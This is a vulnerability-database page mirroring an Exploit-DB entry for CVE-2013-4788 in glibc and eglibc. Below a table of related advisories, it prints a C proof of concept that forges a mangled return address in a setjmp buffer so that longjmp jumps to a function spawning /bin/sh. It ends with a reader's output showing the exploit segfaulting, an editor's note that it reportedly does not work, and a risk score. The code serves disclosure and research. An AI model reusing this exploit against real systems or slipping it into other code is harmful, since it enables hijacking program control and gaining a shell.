glibc and eglibc 2.5/2.7/2.13 - Local Buffer Overflow
🗓️ 30 Sep 2013 00:00:00Reported by Hector Marco & Ismael RipollType
exploitdb🔗 www.exploit-db.com👁 34 Views
| Reporter | Title | Published | Views | Family All 62 |
|---|---|---|---|---|
| glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability | 1 Oct 201300:00 | – | zdt | |
| Security fix for the ALT Linux 7 package glibc version 6:2.17-alt6 | 11 Jan 201400:00 | – | altlinux | |
| Security fix for the ALT Linux 9 package glibc version 6:2.17-alt6 | 11 Jan 201400:00 | – | altlinux | |
| The vulnerability of libraries that provide system calls and basic functions of glibc and eglibc allows attackers to control the execution of the thread. | 3 Nov 201600:00 | – | bdu_fstec | |
| CVE-2013-4788 | 4 Oct 201317:00 | – | cve | |
| CVE-2013-4788 | 4 Oct 201317:00 | – | cvelist | |
| [SECURITY] [DLA 165-1] eglibc security update | 6 Mar 201515:39 | – | debian | |
| CVE-2013-4788 | 4 Oct 201317:00 | – | debiancve | |
| Debian DLA-165-1 : eglibc security update | 26 Mar 201500:00 | – | nessus | |
| EulerOS Virtualization 3.0.1.0 : glibc (EulerOS-SA-2019-1552) | 14 May 201900:00 | – | nessus |
10
/*
*
* Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.
*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept
*
* $VERSION$
*
* Author: Hector Marco <[email protected]>
* Ismael Ripoll <[email protected]>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>
#ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#else
#error The exploit does not support this architecture
#endif
unsigned long rol(uintptr_t value) {
return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}
int hacked(){
printf("[+] hacked !!\n");
system("/bin/sh");
}
int main(void){
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);
printf("[+] Exploiting ...\n");
if(setjmp(env) == 1){
printf("[-] Exploit failed.\n");
return 0;
}
/*Overwrie env return address */
*ptr_ret_env = rol((uintptr_t)hacked);
longjmp(env, 1);
printf("[-] Exploit failed.\n");
return 0;
}
####################################################################################################################
#
# Reader submitted results
/*
[522] user@his-system ~ $ ./POC
[+] Exploiting ...
Segmentation fault
[523] user@his-system ~ $ ldd POC
linux-vdso.so.1 => (0x00007fffab5fd000)
libc.so.6 => /lib64/libc.so.6 (0x0000003269800000)
/lib64/ld-linux-x86-64.so.2 (0x0000003269400000)
[525] user@his-system ~ $ uname -a
Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[526] user@his-system ~ $
[526] user@his-system ~ $ grep vsys /proc/self/maps
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
*/Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Sep 2013 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 25.1
EPSS0.11428